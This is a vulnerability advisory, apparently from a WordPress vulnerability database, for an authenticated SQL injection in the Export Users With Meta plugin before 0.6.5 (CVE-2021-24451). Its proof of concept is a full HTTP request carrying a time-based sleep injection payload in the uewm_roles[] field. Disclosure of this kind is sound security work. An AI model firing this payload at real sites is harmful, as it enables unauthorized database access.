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WordPress Plugin Vulnerabilities

Export Users With Meta < 0.6.5 - Authenticated SQL Injection

Description

The plugin did not escape the list of roles to export before using them in a SQL statement in the export functionality, available to admins, leading to an authenticated SQL Injection.

Proof of Concept

POST /wp-admin/users.php?page=uewm_settings HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------91314853327906118943368521591
Content-Length: 1309
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

-----------------------------91314853327906118943368521591
Content-Disposition: form-data; name="uewm_roles[]"

editor'%20AND%20(select*from(select(sleep(10)))a)+'
-----------------------------91314853327906118943368521591
Content-Disposition: form-data; name="uewm_use_custom_csv_settings"

1
-----------------------------91314853327906118943368521591
Content-Disposition: form-data; name="uewm_field_separator"

custom
-----------------------------91314853327906118943368521591
Content-Disposition: form-data; name="uewm_custom_field_separator"

=
-----------------------------91314853327906118943368521591
Content-Disposition: form-data; name="uewm_text_qualifier"

double-quote
-----------------------------91314853327906118943368521591
Content-Disposition: form-data; name="uewm_custom_text_qualifier"

"
-----------------------------91314853327906118943368521591
Content-Disposition: form-data; name="save"

Save changes
-----------------------------91314853327906118943368521591
Content-Disposition: form-data; name="_wpnonce"

0c475bfd14
-----------------------------91314853327906118943368521591
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/users.php?page=uewm_settings
-----------------------------91314853327906118943368521591--
 

Affects Plugins

user-export-with-their-meta-data
Fixed in version 0.6.5

References

CVE
CVE-2021-24451

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

Asif Nawaz Minhas

Submitter

Asif Nawaz Minhas

Verified

Yes

WPVDB ID
40603382-404b-44a2-8212-f2008366891c

Timeline

Publicly Published

2021-06-21 (about 1 years ago)

Added

2021-06-21 (about 1 years ago)

Last Updated

2021-08-10 (about 10 months ago)

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